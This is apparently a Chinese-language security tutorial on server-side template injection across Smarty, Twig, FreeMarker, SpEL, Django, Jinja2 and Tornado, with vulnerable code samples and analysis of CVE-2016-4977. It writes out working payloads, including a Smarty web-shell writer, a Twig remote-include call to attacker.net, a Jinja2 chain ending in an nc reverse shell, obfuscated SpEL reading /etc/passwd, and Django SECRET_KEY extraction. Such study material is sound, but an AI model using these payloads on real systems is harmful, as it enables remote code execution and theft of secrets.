各类模板注入

各类模板注入

注入是格式化字符串漏洞的一种体现,其中模板注入是格式化字符串的非常好的体现,SSTI不属于任何一种语言,只要使用模板的地方就会出现SSTI漏洞

格式化字符串漏洞

格式化字符串漏洞是像printf(user_input)类似的代码实现的,其中user_input是用户输入的数据,如果Set-UID root权限开启的时,printf语句可以导致以下结果

1
2
3
4
5
使得程序崩溃

任意一块内存读取数据

修改任意一块内存里的数据

最后一种结果最危险,可以修改set-UID root程序内部变量的值,从而改变这些程序的行为

格式化字符串的形式

1
2
3
4
5
6
7
8
9
print("The magic number is:%d",1911) #结果为The magic number is:1911

print("My name is %s"%('phithon',) #结果为My name is phithon

print("My name is %(name)%"%{'name':'phithon'} #结果为My name is phithon

print("My name is {}".format('phithon') #结果为My name is phithon

print("My name is {name}".format(name='phithon') #结果为My name is phithon

其中使用format()方法来格式化字符串的其它表示形式

1
2
3
4
5
6
7
8
9
10
11
{username}".format(username='phithon') # 普通用法

{username!r}".format(username='phithon') # 等同于repr(username)

{number:0.2f}".format(number=0.5678) #等同于"%0.2f"%0.5678,保留两位小数

int: {0:d}; hex: {0:#x}; oct: {0:#o}; bin: {0:#b}".format(42) # 转换进制

{user.username}".format(user=request.username) #获取对象属性

{arr[2]}".format(arr=[0,1,2,3,4]) #获取数组键值

详细请看:https://www.leavesongs.com/penetration/python-string-format-vulnerability.html
https://github.com/shiyanlou/seedlab/blob/master/formatstring.md

常见的模板引擎

php常见

Smarty

Smarty算是一种比较老的PHP模板引擎,使用比较广泛

Twig

Twig是来自于Symfony的模板引擎,比较容易安装,操作有点像Mustache和liquid

Blade

Blade是Laravel提供的一个既简单又强大的模板引擎,与其它的php引擎不同的是它并不限制在视图使用原生的php代码,所有的Blade视图文件都会被编译为原生的php代码并缓存起来,除非它被修改,否则不会再被编译

java常用的

JSP

JSP部署在网络服务器上,可以响应客户端发送的请求,并根据请求生成动态的HTML、XML或其它格式的文档的web网页,然后返回给请求者

FreeMarcker

FreeMarcer是一款模板引擎:即一种基于模板和要改变的数据,并用来生成输出文本(HTML网页、电子邮件、配置文件、源代码等)的通用工具。它不是面向最终用户,而是一个java类库,是一款程序员可以嵌入他们所开发产品的组件

Velocity

Velocity可以替代java web的服务端网页模板引擎,而且可以作为普通文本的模板引擎来增强服务端程序文本处理能力

python常用的

Jinja2

flask jinja2是一种广泛使用的模板引擎

django

django是专属于自己的一个模板引擎,有好用的对象关系映射(ORM),而且它很多东西的耦合性很高

tornado

tornado也有属于自己的一套模板引擎,tornado强调的是异步非阻塞高并发

注意

1
同一种语言不同模板引擎支持的语法虽然相同,但是还是有略微的差异,比如tornado模板的render()中支持传入自定义函数以及函数的参数,然后在两个大括号{{}}中执行,但对于djanggo模板引擎来说相对难用一点

模板注入实例

原理:服务端接收用户的恶意输入后,未经过处理作为web应用模板内容的一部分,模板引擎在进行目标编译渲染时,执行了用户插入的可以破坏模板的语句,导致敏感信息泄露、代码执行或拿到shell

PHP实例

实例1

源码

1
2
3
4
5
6
7
<?php
require_once dirname(__FILE__).‘/../lib/Twig/Autoloader.php‘;
Twig_Autoloader::register(true);

$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {$_GET[‘name‘]}"); // 将用户输入作为模版内容的一部分
echo $output;

其中{name}的大括号不是模板变量外面的括号,只是为了区别变量和字符串常量,所以可以构造

1
?name={{7*7}}

模板引擎会将此解析,结果为49

两个实例使用的都是Twig模板引擎

python实例

实例1

源码

1
2
3
4
5
6
7
8
9
10
11
@app.errorhandler(404)
def page_not_found(e):
template = '''{%% extends "layout.html" %%}
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.url)
return render_template_string(template), 404

其中代码里面使用%(request.url)是格式化字符串,所以我们只要将49放在url后面,然后它会通过render_template_string()渲染,然后进行解析,结果为49

实例2

源码

1
2
3
4
5
6
# coding: utf-8
import sys
from jinja2 importTemplate

template = Template("Your input: {}".format(sys.argv[1] if len(sys.argv) > 1 else '<empty>'))
print template.render()

代码里利用format()语句来进行格式化字符串,所以我们可以输入49,然后再经过render()来对模板变量渲染解析,结果

1
You input:49

Java实例

Sping Security OAuth RCE(CVE-2016-4977)漏洞

Spring Security OAuth是为Spring框架提供安全认证支持的一个模块,就是当用户使用Whitelabel views来处理错误时,攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令

影响版本
2.0.0 to 2.0.9

1.0.0 to 1.0.5

漏洞分析

我们可以查看src/resources/application.properties的内容来获取clientid和用户密码

1
2
3
4
5
6
security.oauth2.client.clientId: acme
security.oauth2.client.clientSecret: acmesecret
security.oauth2.client.authorized-grant-types: authorization_code,refresh_token,password
security.oauth2.client.scope: openid
security.oauth2.client.registered-redirect-uri: httP;//localhost
security.user.password: password

因此,我们可以构造payload

1
http://localhost:8080/oauth/authorize?response_type=token&client_id=acme&redirect_uri=hellotom

其中client_id为上面获取的,输入用户名user并输入上面得到的密码,
然后点击登录后,报错,发现hellotom为不法值,因此我们可以构造${2334-1},可以看到会回显信息,表达式被执行,因此有触发漏洞

思路分析

首先我们看代码可知whitelabel作为视图来返回错误页面,在看/spring-security-oauth/spring-security-oauth2/src/main/java/org/springframework/security/oauth2/provider/endpoint/WhitelabelErrorEndpoint.java中第18-40行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
@FrameworkEndpoint
public class WhitelabelErrorEndpoint {

private static final String ERROR = "<html><body><h1>OAuth Error</h1><p>${errorSummary}</p></body></html>";

@RequestMapping("/oauth/error")
public ModelAndView handleError(HttpServletRequest request) {
Map<String, Object> model = new HashMap<String, Object>();
Object error = request.getAttribute("error");
// The error summary may contain malicious user input,
// it needs to be escaped to prevent XSS
String errorSummary;
if (error instanceof OAuth2Exception) {
OAuth2Exception oauthError = (OAuth2Exception) error;
errorSummary = HtmlUtils.htmlEscape(oauthError.getSummary());
}
else {
errorSummary = "Unknown error";
}
model.put("errorSummary", errorSummary);
return new ModelAndView(new SpelView(ERROR), model);
}
}

这里定义了whitelabel的处理方法,程序可以通过oauthError.getSummary()来获取错误信息,看代码

1
2
model.put("errorSummary", errorSummary);
return new ModelAndView(new SpelView(ERROR), model);

然后${2334-1}也被带入了errorSummary中,然后errorSummary被装入到model中,最后再用SpelView进行渲染,我们再看pring-security-oauth/spring-security-oauth2/src/main/java/org/springframework/security/oauth2/provider/endpoint/SpelView.java中第21-54行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
class SpelView implements View {

...

public SpelView(String template) {
this.template = template;
this.context.addPropertyAccessor(new MapAccessor());
this.helper = new PropertyPlaceholderHelper("${", "}");
this.resolver = new PlaceholderResolver() {
public String resolvePlaceholder(String name) {
Expression expression = parser.parseExpression(name);
Object value = expression.getValue(context);
return value == null ? null : value.toString();
}
};
}

...

public void render(Map<String, ?> model, HttpServletRequest request, HttpServletResponse response)
throws Exception {
...
String result = helper.replacePlaceholders(template, resolver);
...
}

可以看到render通过helper取${}中的值作为表达式,再用parser.parseExpression来执行,跟进一下replacePlaceholders这个函数,在/org/springframework/util/PropertyPlaceholderHelper.class第47-56行:

1
2
3
4
5
6
7
8
public String replacePlaceholders(String value, final Properties properties) {
Assert.notNull(properties, "\'properties\' must not be null");
return this.replacePlaceholders(value, new PropertyPlaceholderHelper.PlaceholderResolver() {
public String resolvePlaceholder(String placeholderName) {
return properties.getProperty(placeholderName);
}
});
}

我们发现这个函数是个递归,如果表达式的值中有${xxx}这样形式的字符串存在,则以xxx执行,无论有多少个{},都会被去掉

首先传入了${errorSummary},然后取errorSummary为表达式进行执行,发现有${2334-1},则去掉${}后,将2334-1当作表达式执行

实例2

此漏洞是2015年blackhat大会讲述的Alfresco的一个SSTI漏洞

实例代码

1
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

结果为

1
uid=119(tomcat7) gid=127(tomcat7) groups=127(tomcat7) 

用法如下

1
2
3
4
5
6
<# - 创建一个用户定义的指令,调用类的参数构造函数 - >
<#assign word_wrapp =“com.acmee.freemarker.WordWrapperDirective”?new()>

<# - 创建一个用户定义的指令,用一个数字参数调用构造函数 - >
<#assign word_wrapp_narrow =“com.acmee.freemarker.WordWrapperDirective”?new(40)>

相当于调用了构造函数创建了一个对象,那么这个payload是调用了freemarker的内置执行命令的对象Excute

检测方法

原理:通过更改请求参数让含有模板引擎语法的payload,通过页面渲染返回的内容检测含有模板引擎的payload是否有被编译,有,则SSTI,无,则不存在SSTI

可以使用linux中的tplmap来进行扫描

攻击思路

可以从四个方向进行攻击

1
2
3
4
5
6
7
8
9
10
11
1.模板本身
可以考虑模板本身的语法、内置变量、属性、函数

2.框架本身
框架的全局变量、属性、函数

3.语言本身
语言本身的特性

4.应用本身
考虑应用定义的东西,需要找开源的源码

攻击方法

利用模板本身的特性进行攻击

Smarty模板

由于Smarty模板会提供安全模式,会强制执行在php安全函数白名单中的函数,所以我们在模板中无法调用php中直接执行命令的函数(相当于存在一个disable_function),但是我们可以考虑模板本身。$smarty内置变量可用于访问各种环境变量,比如我们可以使用self来得到smarty这个类中的方法

getStreamVariable()
此方法可以获取传入变量的流,即读文件

构造payload

1
{self::getStreamVariable("file:///proc/self/loginuid")}

class Smarty_Internal_Write_File
可以使用这个类的writeFile()方法来写文件,又因为这个类的第三个参数要为smarty类型,所以可以使用self::clearConfig()

因此可以构造payload

1
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

来写文件

其中passthru()

1
passthru — 执行外部程序并且显示原始输出

注意:高版本的smarty模板是禁用前两个函数的,所以可以考虑使用{if 代码}{/if}标签来执行php代码

Twig模板

虽然Twig框架不能使用静态方法,且所有函数的返回值都转换为字符串,所以我们不能使用self::调用静态变量,可以在官网文档查询:https://twig.symfony.com/doc/2.x/templates.html

我们可以使用_self,虽然_self没有什么方法,但是有env,env是指属性Twig_Environment对象,Twig_Environment对象有一个 setCache方法可用于更改Twig尝试加载和执行编译模板(PHP文件)的位置,它在environment.php文件中

因此,我们可以通过将缓存位置设置为远程服务器来引入远程文件包含漏洞
构造payload

1
2
{{_self.env.setCache("ftp://attacker.net:2121")}}
{{_self.env.loadTemplate("backdoor")}}

但是allow_url_include一般是打不开的,无法远程包含文件,所以我们可以使用一个调用过滤器的函数getFilter()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function getFilter($name)
{
[snip]
foreach ($this->filterCallbacks as $callback) {
if (false !== $filter = call_user_func($callback, $name)) {//注意这行
return $filter;
}
}
return false;
}

public function registerUndefinedFilterCallback($callable)
{
$this->filterCallbacks[] = $callable;
}

由于这个函数带有call_user_func()这个危险函数,所以我们可以用exec()作为回调函数传进去,实现命令执行,因此构造payload

1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
freeMarker模板

可以构造payload

1
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }

上面有格式,由于现阶段没有源码,所以无法分析

利用框架本身的特性进行攻击

Django模板

源码

1
2
3
def view(request, *args, **kwargs):
template = 'Hello {user}, This is your email: ' + request.GET.get('email')
return HttpResponse(template.format(user=request.user))

注入点明显是email,但是如果我们的能力被限制得不能执行命令,但又想获得和user有关的配置信息。我们可以先看一个和user有关的变量request.user,所以我们要在没有应用源码的情况下学会寻找框架本身的属性,看框架有什么属性和类之间的引用

我们经过查找,Django自带的admin(即后台)的model.py导入了当前网站配置信息,因此我们要通过某种方式找到Django默认应用admin的model,再通过model获取settings对象,从而获取数据库账号密码及web加密密钥,构造payload

1
2
3
4
http://localhost:8000/?email={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}


http://localhost:8000/?email={user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}
flask/jinja2

config是flask模板的一个全局变量,它代表了“当前配置对象(flask.config)”,它是类字典的对象,包含所有应用程序的配置值,它一般包含数据库链接字符串,连接第三方凭证,SECRET_KEY等敏感值,而且config有很多神奇的方法:

1
2
3
4
5
6
7
from_envvar

from_object

from_pyfile

root_path

我们可以利用from_pyfile和from_object来命令执行

from_pyfile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def from_pyfile(self, filename, silent=False):

filename = os.path.join(self.root_path, filename)
d = types.ModuleType('config')
d.__file__ = filename
try:
with open(filename) as config_file:
exec(compile(config_file.read(), filename, 'exec'), d.__dict__)
except IOError as e:
if silent and e.errno in (errno.ENOENT, errno.EISDIR):
return False
e.strerror = 'Unable to load configuration file (%s)' % e.strerror
raise
self.from_object(d)
return True

from_object

1
2
3
4
5
6
7
def from_object(self, obj):

if isinstance(obj, string_types):
obj = import_string(obj)
for key in dir(obj):
if key.isupper():
self[key] = getattr(obj, key)

from_pyfile这个方法将传入文件使用compile()这个python内置方法将其编译成字节码(.pyc),然后放到exec()函数中执行,注意最后一个参数d.__dict__,是指定exec执行的上下文,它后面调用了from_object()方法,然后

1
2
3
for key in dir(obj):
if key.isupper():
self[key] = getattr(obj, key)

根据上面代码可知这个方法会遍历obj的dict并且找到大写字母属性,将属性值给self[‘属性名’],因此我们可以让from_pyfile去读

1
2
from os import system
SHELL=system

此时我们可以使用config[‘SHELL’]调用system方法

因此构造payload

1
2
3
4
5
6
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from os import system%0aSHELL = system') }}
//写文件
{{ config.from_pyfile('/tmp/evil') }}
//加载system
{{ config['SHELL']('nc xxxx xx -e /bin/sh') }}
//执行命令反弹SHELL
Tornado

我们可以以护网杯的tornado为例,就是通过SSTI获取cookie_secret,通过查找开源源码,我们可以看见代码中

1
2
3
4
5
6
7
self.assertEqual(
__create_signature_v1(
hander.application.settings["cookie_secret"],
"foo",
"12345678",
timestamp,
)

可知调用hander.application.settings即可获取cookie_secret,但是有过滤

1
"%'()*-/=[\]_|

所以我们可以使用RequestHandler对象,因为我们查官方文档:https://www.tornadoweb.org/en/stable/guide/templates.html#template-syntax,发现

1
handler:当前RequestHandler对象

1
2
3
4
5
This method is called automatically when the request is finished(当请求完成后自动调用)

RequestHandler.settings

An alias for self.application.settings

因此,我们可以使用handler.settings来访问cookie_secret,构造payload

1
http://117.78.26.79:31093/error?msg={{handler.settings}}

利用模板语言本身的特性进行攻击

python语言的模板

可看:https://www.k0rz3n.com/2018/05/04/Python%20%E6%B2%99%E7%9B%92%E9%80%83%E9%80%B8%E5%A4%87%E5%BF%98/

java

java.lang包是java语言的核心,是java基础类,包含Object类、class类、string类,基本类型包装、基本的数学类等基本的类

执行命令paload

1
2
3
${T(java.lang.System).getenv()}

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

文件操作payload

1
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

SSTI详细请看:https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BSSTI%E6%BC%8F%E6%B4%9E/#2-Twig